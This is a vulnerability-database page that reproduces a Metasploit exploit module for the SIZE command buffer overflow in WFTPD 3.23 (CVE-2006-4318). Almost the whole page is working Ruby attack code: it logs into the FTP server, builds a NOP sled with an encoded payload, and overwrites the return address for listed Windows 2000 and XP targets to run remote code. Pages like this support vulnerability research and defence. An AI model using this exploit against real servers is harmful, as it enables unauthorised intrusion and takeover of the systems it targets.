Texas Imperial Software WFTPD 3.23 SIZE Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Buffer overflow in Texas Imperial Software WFTPD 3.23 SIZE ver


                                                ##
# $Id: wftpd_size.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Texas Imperial Software WFTPD 3.23 SIZE Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a buffer overflow in the SIZE verb in
				Texas Imperial&#39;s Software WFTPD 3.23.
			},
			&#39;Author&#39;         =&#62; &#39;MC&#39;,
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9583 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-4318&#39; ],
					[ &#39;OSVDB&#39;, &#39;28134&#39; ],
					[ &#39;BID&#39;, &#39;19617&#39; ],
				],
			&#39;Privileged&#39;     =&#62; true,
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 500,
					&#39;BadChars&#39; =&#62; &#34;\x00\x20\x0a\x0d&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39; 		  =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows 2000 Pro SP4 English&#39;,			{ &#39;Ret&#39; =&#62; 0x7c2d3028 } ],
					[ &#39;Windows XP Pro SP1 English&#39;,				{ &#39;Ret&#39; =&#62; 0x77dd1595 } ],
					[ &#39;Windows XP Pro SP2 English&#39;,           { &#39;Ret&#39; =&#62; 0x77d498ec } ],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Aug 23 2006&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))
	end

	def exploit
		connect_login

		sploit =  &#34;/&#34; + make_nops(525 - payload.encoded.length)
		sploit &#60;&#60; payload.encoded + [target.ret].pack(&#39;V&#39;)

		print_status(&#34;Trying target #{target.name}...&#34;)

		send_cmd([&#39;SIZE&#39;, sploit], false)
		select(nil,nil,nil,2)

		handler
		disconnect
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1